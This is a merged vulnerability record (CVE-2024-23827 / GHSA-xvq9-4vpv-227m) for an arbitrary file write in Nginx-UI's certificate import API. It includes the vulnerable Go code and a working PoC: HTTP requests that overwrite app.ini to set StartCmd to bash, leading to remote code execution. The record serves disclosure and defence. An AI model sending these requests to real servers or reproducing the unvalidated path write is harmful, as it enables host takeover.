{"id":"CVE-2024-23827","aliases":["CVE-2024-23827","GHSA-xvq9-4vpv-227m","GO-2024-2481"],"related":[],"kind":"vulnerability","state":"published","title":"Nginx-UI arbitrary file write through the Import Certificate feature","summary":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName                  string `json:\"name\"`\n\t\tSSLCertificatePath    string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate        string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey     string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod       string `json:\"challenge_method\"`\n\t\tDnsCredentialID       int    `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, &json) {\n\t\treturn\n\t}\n\tcertModel := &model.Cert{\n\t\tName:                  json.Name,\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod:       json.ChallengeMethod,\n\t\tDnsCredentialID:       json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := &cert.Content{\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate:        json.SSLCertificate,\n\t\tSSLCertificateKey:     json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: <JWT>\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: <JWT>\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost          = 0.0.0.0\\r\\nHttpPort          = 9000\\r\\nRunMode           = debug\\r\\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail             = props@pros.com\\r\\nDatabase          = database\\r\\nStartCmd          = bash\\r\\nCADir             = dqsdqsd\\r\\nDemo              = false\\r\\nPageSize          = 10\\r\\nGithubProxy       = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath  =\\r\\nConfigDir     =\\r\\nPIDPath       =\\r\\nTestConfigCmd =\\r\\nReloadCmd     =\\r\\nRestartCmd    =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken   =\\r\\nProxy   =\\r\\nModel   = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint     =\\r\\nClientId     =\\r\\nClientSecret =\\r\\nCertificate  =\\r\\nOrganization =\\r\\nApplication  =\\r\\nRedirectUri  =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature in github.com/0xJacky/Nginx-UI.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/0xJacky/Nginx-UI before v2.0.0-beta.12.","format":"markdown","source":"go"},{"lang":"es","text":"Nginx-UI es una interfaz web para administrar configuraciones de Nginx. La función Import Certificate permite la escritura arbitraria en el sistema. La función no verifica si la entrada del usuario proporcionada es una certificación/clave y permite escribir en rutas arbitrarias en el sistema. Es posible aprovechar la vulnerabilidad para ejecutar código remoto sobrescribiendo el archivo de configuración app.ini. La versión 2.0.0.beta.12 solucionó el problema.","source":"nvd"}],"published":"2024-01-29T16:07:13.953Z","modified":"2026-07-06T19:30:10.741Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 2.0.0.beta.12","status":"affected"}],"vendor":"0xJacky","product":"nginx-ui","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.9.10-0.20240128060047-8581bdd3c6f4"}],"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","purl":"pkg:golang/github.com/0xJacky/Nginx-UI","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","purl":"pkg:golang/github.com/0xJacky/Nginx-UI","source":"go"},{"ranges":[{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.0"},{"status":"affected","version":"1.2.1"},{"status":"affected","version":"1.2.2"},{"status":"affected","version":"1.3.0"},{"status":"affected","version":"1.3.0"},{"status":"affected","version":"1.3.1"},{"status":"affected","version":"1.3.1"},{"status":"affected","version":"1.3.2"},{"status":"affected","version":"1.3.3"},{"status":"affected","version":"1.4.0"},{"status":"affected","version":"1.4.0"},{"status":"affected","version":"1.4.1"},{"status":"affected","version":"1.4.2"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.0"},{"status":"affected","version":"1.5.1"},{"status":"affected","version":"1.5.2"},{"status":"affected","version":"1.6.0"},{"status":"affected","version":"1.6.0"},{"status":"affected","version":"1.6.1"},{"status":"affected","version":"1.6.2"},{"status":"affected","version":"1.6.3"},{"status":"affected","version":"1.6.5"},{"status":"affected","version":"1.6.6"},{"status":"affected","version":"1.6.7"},{"status":"affected","version":"1.6.8"},{"status":"affected","version":"1.7.0"},{"status":"affected","version":"1.7.0"},{"status":"affected","version":"1.7.1"},{"status":"affected","version":"1.7.2"},{"status":"affected","version":"1.7.3"},{"status":"affected","version":"1.7.4"},{"status":"affected","version":"1.7.5"},{"status":"affected","version":"1.7.6"},{"status":"affected","version":"1.7.7"}],"vendor":"nginxui","product":"nginx_ui","cpe":"cpe:2.3:a:nginxui:nginx_ui:1.2.0:-:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-xvq9-4vpv-227m","tags":["advisory","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23827","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/8581bdd3c6f49ab345b773517ba9173fa7fc6199","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-01-31T20:16:58.531Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-23827","url":"https://www.cve.org/CVERecord?id=CVE-2024-23827","licence":"CVE Terms of Use","modified":"2024-11-12T21:41:24.606Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xvq9-4vpv-227m","url":"https://github.com/advisories/GHSA-xvq9-4vpv-227m","licence":"CC-BY-4.0","modified":"2026-07-06T19:30:10.741Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-2481","url":"https://pkg.go.dev/vuln/GO-2024-2481","licence":"CC-BY-4.0","modified":"2024-07-09T19:33:56.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-23827","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23827","licence":"Public domain","modified":"2026-06-17T07:13:41.390Z"}],"updatedAt":"2026-11-25T22:58:36.418Z","epss":{"score":0.00705,"percentile":0.54586,"date":"2026-12-01T12:00:22.000Z"}}